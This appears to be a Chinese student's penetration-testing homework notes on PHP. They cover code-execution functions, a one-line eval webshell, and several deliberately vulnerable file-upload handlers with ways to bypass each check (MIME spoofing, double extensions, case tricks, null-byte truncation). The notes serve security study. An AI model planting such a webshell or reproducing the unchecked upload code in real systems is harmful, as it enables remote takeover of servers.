当前位置: 首页 > news >正文

安全渗透第二次作业

PHP 函数

##把字符串当作 PHP 代码执行 // eval()

这种写法会暴露系统信息

<?php eval($_GET['code']); phpinfo(); system("ls -l");php代码中用于执行系统命令的 //执行的是php中的函数 ?>

**Webshell 常见写法:**

/;/一句话木马

<?php eval($_POST['cmd']); ?>

1.核心上传函数

函数作用示例
move_uploaded_file()将上传的临时文件移动到新位置move_uploaded_file($tmp, $dest)
is_uploaded_file()判断文件是否通过 HTTP POST 上传is_uploaded_file($tmp)
copy()复制文件copy($src, $dest)
file_put_contents()写入文件file_put_contents($file, $content)

2.判断上传错误的常量

常量含义
UPLOAD_ERR_OK0上传成功
UPLOAD_ERR_INI_SIZE1超出 php.ini 的upload_max_filesize
UPLOAD_ERR_FORM_SIZE2超出表单MAX_FILE_SIZE
UPLOAD_ERR_PARTIAL3文件只有部分被上传
UPLOAD_ERR_NO_FILE4没有文件被上传
UPLOAD_ERR_NO_TMP_DIR6找不到临时文件夹

3.文件上传

3.1无任何校验(高危)

<?php $target = "uploads/" . $_FILES["file"]["name"]; move_uploaded_file($_FILES["file"]["tmp_name"], $target); ?>

漏洞: 直接上传 webshell,无任何限制

3.2只校验 Content-Type(前端校验可绕过)

<?php $type = $_FILES["file"]["type"]; if ($type == "image/jpeg" || $type == "image/png") { move_uploaded_file($_FILES["file"]["tmp_name"], $target); } ?>

漏洞:Content-Type由客户端控制,抓包改Content-Type: image/jpeg即可绕过

3.3只校验后缀名(黑名单)

<?php $block = array("php", "php3", "php5", "phtml", "pht"); $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $block)) { move_uploaded_file(...); } ?>

漏洞: 可上传xxx.php.jpgxxx.phtmlxxx.PhP(大小写)、xxx.php%00.jpg(00截断)

3.4只校验文件扩展名(白名单)

<?php $allow = array("jpg", "png", "gif"); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($ext, $allow)) { move_uploaded_file(...); } ?>

漏洞: 依赖服务器解析漏洞(apache 的x.php.jpg解析为 PHP)或内容中包含代码

4.直接执行系统命令

函数说明返回
system()执行命令并输出结果最后一行
exec()执行命令,不输出最后一行
shell_exec()执行命令,返回完整输出整个输出
passthru()执行命令,直接输出原始结果
popen()打开进程管道文件指针
proc_open()更底层的进程控制资源
http://www.cnnetsun.cn/news/3787426.html

相关文章:

  • 程序员客栈接单全攻略:避开5大坑,高效拿下项目
  • 怎样高效使用AnimateDiff:5个实战技巧打造专业级AI动画
  • Python 环境配置(二)安装jupyter、matplotlib、numpy库
  • Nilesoft Shell终极指南:让Windows右键菜单更强大
  • Untrunc视频修复:三步免费拯救损坏的MP4文件,让珍贵回忆重获新生!
  • 如何用AI图文生成器3分钟打造爆款小红书内容:红墨AI专业指南
  • DC-DC Buck降压电路原理、设计与实战:从5V-36V输入到3.3V/5A输出模块全解析
  • 终极拼图求解指南:5分钟掌握遗传算法自动拼接技术
  • 5.65英寸电子墨水屏驱动全攻略:四大平台实战与优化技巧
  • 终极RPG Maker资源解密工具:轻松提取加密游戏素材的完整指南
  • CS2-dumper完全指南:自动化获取游戏内存偏移与接口信息
  • TrafficMonitor插件架构设计与多场景应用实践
  • 为什么你的AI稿永远上不了热榜?:用NLP语义熵值+传播势能图谱精准定位爆文断点
  • 【单片机毕设案例分享】基于 STM32 的阈值可调式智能马桶综合控制平台 传感器采集与 OLED 显示的嵌入式智能马桶设计(016301)
  • 等保学习第三天-项目投标流程及注意事项
  • 如何在使用JetBrains IDE时文本编辑更高效?这个IdeaVim好用
  • AI做音效素材卖钱:7天实操手册——手把手教你用Stable Audio+商用授权避坑指南
  • RP2350驱动AMOLED触摸屏:嵌入式图形界面开发全攻略
  • 前面漏洞出现的php函数
  • 生物素-棕榈酸Palmitic acid-Biotin生物素化棕榈酸的优点介绍
  • 列表输出控制:有序、无序与嵌套列表的精准控制
  • 基于nRF51822的BLE开发:从核心板硬件到低功耗应用实战
  • Kindle漫画转换终极指南:用KCC打造完美电子墨水屏阅读体验
  • 从零到一:小熊猫Dev-C++带你体验极致C++开发效率
  • 如何快速为网页添加专业动画:Magic动画库完整指南
  • Unity UGUI进度条实战:复刻王者荣耀加载页面的完整方案
  • JeecgBoot项目实战:从快速开发到可维护架构的演进之路
  • 大模型智能体核心调用模式与RAG技术实战解析
  • 5个核心功能揭秘:用Smart Money Concepts掌握智能资金交易策略
  • 基于WP5335芯片的伺服驱动系统设计与实践:从PWM到闭环控制